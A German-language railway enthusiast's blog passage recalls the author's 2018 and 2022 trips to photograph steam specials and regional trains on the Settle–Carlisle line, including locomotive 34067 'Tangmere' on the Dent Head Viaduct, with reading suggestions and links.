R. Siviter: „The Settle to Carlisle – A Tribute“

D. Joy: „Settle – Carlisle Celebration“

Settle – Carlisle railway development company

https://en.wikipedia.org/wiki/Settle%E2%80%93Carlisle_line

https://settlecarlisletrust.org.uk/

Im Sommer 2018 kam ich nach 22 Jahren endlich nochmal an die S&C zurück.

Dieses Mal zu einer Dampfloksonderfahrt an das imposante Ribblehead-Viadukt:

Am 24. Juli 2018 überquerte ein Dampfloksonderzug Richtung Carlisle das 24-bögige Ribblehead-Viadukt in der Nähe von Ingleton in den Yorkshire Dales. Foto: Axel Klatt

Und in meinem Sommerurlaub 2022 in den schönen Yorkshire Dales, konnte ich an einem Tag eine weitere Dampfloksonderfahrt über die SCL in Foto und Video festhalten. Vorher aber noch ein paar Impressionen der regulären Personenzüge auf dieser Strecke:

Regionaltriebwagen aus Richtung Carlisle kurz vor Einfahrt in den Bleamoor-Tunnel, Dent Head 30. Juli 2022
Regionaltriebwagen aus Richtung Carlisle nach Verlassen des Bleamoor-Tunnels, Dent Head 30. Juli 2022

Jetzt aber die versprochenen Foto- und Videoaufnahmen der 34 067 „Tangmere“ auf dem Dent Head Viaduct:

34 067 „Tangmere“ mit Northern Belle – Dent Head Viaduct 30. Juli 2022

]]>